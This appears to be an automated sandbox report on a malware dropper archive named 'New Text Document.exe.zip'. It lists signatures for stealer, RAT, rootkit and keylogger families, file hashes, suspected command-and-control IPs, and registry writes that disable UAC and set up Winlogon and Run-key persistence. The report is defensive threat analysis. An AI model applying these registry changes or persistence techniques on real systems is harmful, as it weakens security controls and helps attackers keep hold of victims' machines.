Malware Analysis Report

2024-12-07 14:03

Sample ID 241116-ylqcmssfqd
Target New Text Document.exe.zip
SHA256 85b8d5214c0bc80b888c6a3404c2a371e3aaba32561d069f454b0af159015396
Tags
gh0strat lumma metasploit purplefox vipkeylogger zharkbot aspackv2 backdoor botnet collection discovery evasion execution keylogger persistence rat rootkit spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

85b8d5214c0bc80b888c6a3404c2a371e3aaba32561d069f454b0af159015396

Threat Level: Known bad

The file New Text Document.exe.zip was found to be: Known bad.

Malicious Activity Summary

gh0strat lumma metasploit purplefox vipkeylogger zharkbot aspackv2 backdoor botnet collection discovery evasion execution keylogger persistence rat rootkit spyware stealer trojan upx

Detect PurpleFox Rootkit

Metasploit family

Vipkeylogger family

UAC bypass

Purplefox family

VIPKeylogger

PurpleFox

Lumma Stealer, LummaC

Zharkbot family

Detects ZharkBot payload

Gh0strat family

Modifies WinLogon for persistence

ZharkBot

Suspicious use of NtCreateUserProcessOtherParentProcess

Gh0st RAT payload

MetaSploit

Lumma family

Gh0strat

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Stops running service(s)

Sets service image path in registry

ASPack v2.12-2.42

Identifies Wine through registry keys

Reads user/profile data of local email clients

Reads user/profile data of web browsers

Checks BIOS information in registry

.NET Reactor proctector

Loads dropped DLL

Executes dropped EXE

Reads WinSCP keys stored on the system

Checks computer location settings

Unexpected DNS network traffic destination

Drops startup file

Checks for any installed AV software in registry

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Checks installed software on the system

Adds Run key to start application

Drops desktop.ini file(s)

Checks whether UAC is enabled

Accesses Microsoft Outlook profiles

Accesses Microsoft Outlook accounts

UPX packed file

Drops file in System32 directory

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Launches sc.exe

Drops file in Windows directory

Drops file in Program Files directory

Embeds OpenSSL

Enumerates physical storage devices

Unsigned PE

System Network Configuration Discovery: Internet Connection Discovery

Browser Information Discovery

Program crash

System Location Discovery: System Language Discovery

Runs net.exe

System policy modification

Kills process with taskkill

cURL User-Agent

Runs ping.exe

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious behavior: LoadsDriver

outlook_win_path

Suspicious behavior: GetForegroundWindowSpam

outlook_office_path

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Modifies system certificate store

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Reported

2024-11-16 19:52

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-16 19:52

Reported

2024-11-16 19:54

Platform

win7-20240903-en

Max time kernel

97s

Max time network

99s

Command Line

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe.zip"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
N/A N/A C:\Users\Admin\Desktop\New Text Document.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\New Text Document.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Processes

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe.zip"

C:\Users\Admin\Desktop\New Text Document.exe

"C:\Users\Admin\Desktop\New Text Document.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2856 -s 1064

C:\Users\Admin\Desktop\New Text Document.exe

"C:\Users\Admin\Desktop\New Text Document.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2012 -s 1068

Network

Country Destination Domain Proto
US 8.8.8.8:53 urlhaus.abuse.ch udp
US 151.101.130.49:443 urlhaus.abuse.ch tcp
US 151.101.130.49:443 urlhaus.abuse.ch tcp

Files

C:\Users\Admin\Desktop\New Text Document.exe

MD5 a239a27c2169af388d4f5be6b52f272c
SHA1 0feb9a0cd8c25f01d071e9b2cfc2ae7bd430318c
SHA256 98e895f711226a32bfab152e224279d859799243845c46e550c2d32153c619fc
SHA512 f30e1ff506cc4d729f7e24aa46e832938a5e21497f1f82f1b300d47f45dae7f1caef032237ef1f5ae9001195c43c0103e3ab787f9196c8397846c1dea8f351da

memory/2856-5-0x0000000000100000-0x0000000000108000-memory.dmp

memory/2012-7-0x00000000002E0000-0x00000000002E8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-16 19:52

Reported

2024-11-16 20:03

Platform

win10v2004-20241007-en

Max time kernel

640s

Max time network

641s

Command Line

C:\Windows\Explorer.EXE

Signatures

Detect PurpleFox Rootkit

rootkit
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects ZharkBot payload

Description Indicator Process Target
N/A N/A N/A N/A

Gh0st RAT payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Gh0strat

rat gh0strat

Gh0strat family

gh0strat

Lumma Stealer, LummaC

stealer lumma

Lumma family

lumma

MetaSploit

trojan backdoor metasploit

Metasploit family

metasploit

Modifies WinLogon for persistence

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\wininit.exe" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\explorer.exe, c:\\windows\\wininit.exe,C:\\Users\\Admin\\Music\\Windows Security Health Host.exe," C:\Windows\SysWOW64\reg.exe N/A

PurpleFox

rootkit trojan purplefox

Purplefox family

purplefox

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 4364 created 3436 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Windows\Explorer.EXE

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\Desktop\a\Autoupdate.exe N/A

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

ZharkBot

botnet zharkbot

Zharkbot family

zharkbot

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\Desktop\a\lum250.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\system32\drivers\QAssist.sys C:\Windows\SysWOW64\Gwogw.exe N/A

Sets service image path in registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QAssist\ImagePath = "system32\\DRIVERS\\QAssist.sys" C:\Windows\SysWOW64\Gwogw.exe N/A

Stops running service(s)

evasion execution

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

ASPack v2.12-2.42

aspackv2
Description Indicator Process Target
N/A N/A N/A N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\Desktop\a\lum250.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Desktop\a\lum250.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\a\SKOblik.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\New Text Document.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\New Text Document.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mczz.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe C:\Windows\system32\curl.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
N/A N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\SKOblik.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Guide2018.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\stories.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\msf.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\msf443.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\client.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\op.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\lum250.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Beefy.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\solandra.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\mk.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\crypted2.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\crypted2.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\random.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\enters.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\babababa.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-30R2S.tmp\tacticalagent-v2.8.0-windows-amd64.tmp N/A
N/A N/A C:\Users\Admin\Desktop\a\shttpsr_mg.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe N/A
N/A N/A C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\SecurityHealthService.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\GOLD.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\OLDxTEAM.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\ZharkBOT.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\svchot.exe N/A
N/A N/A C:\Windows\SysWOW64\Gwogw.exe N/A
N/A N/A C:\Windows\SysWOW64\Gwogw.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\svcyr.exe N/A
N/A N/A C:\Windows\tcrbyc.exe N/A
N/A N/A C:\Users\Admin\Music\Windows Security Health Host.exe N/A
N/A N/A C:\Users\Admin\Music\Windows Security Health Host.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\svchot.exe N/A
N/A N/A C:\Windows\SysWOW64\Gwogw.exe N/A
N/A N/A C:\Windows\SysWOW64\Gwogw.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\svcyr.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\Desktop\a\lum250.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
N/A N/A C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unexpected DNS network traffic destination

Description Indicator Process Target
Destination IP 141.98.234.31 N/A N/A
Destination IP 45.155.250.90 N/A N/A
Destination IP 152.89.198.214 N/A N/A
Destination IP 141.98.234.31 N/A N/A
Destination IP 91.211.247.248 N/A N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\enters = "C:\\Users\\Admin\\AppData\\Local\\enters.exe" C:\Users\Admin\Desktop\a\random.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Wininit = "c:\\windows\\wininit.exe" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Svchost = "c:\\windows\\svchost.exe" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Auto Feedback Manager = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Advanced Sync Tools\\PureSync.exe" C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Checks for any installed AV software in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV\Dir C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast\Version C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Version C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV\Dir C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File created C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\SysWOW64\Gwogw.exe C:\Users\Admin\Desktop\a\svchot.exe N/A
File opened for modification C:\Windows\SysWOW64\Gwogw.exe C:\Users\Admin\Desktop\a\svchot.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\a\lum250.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
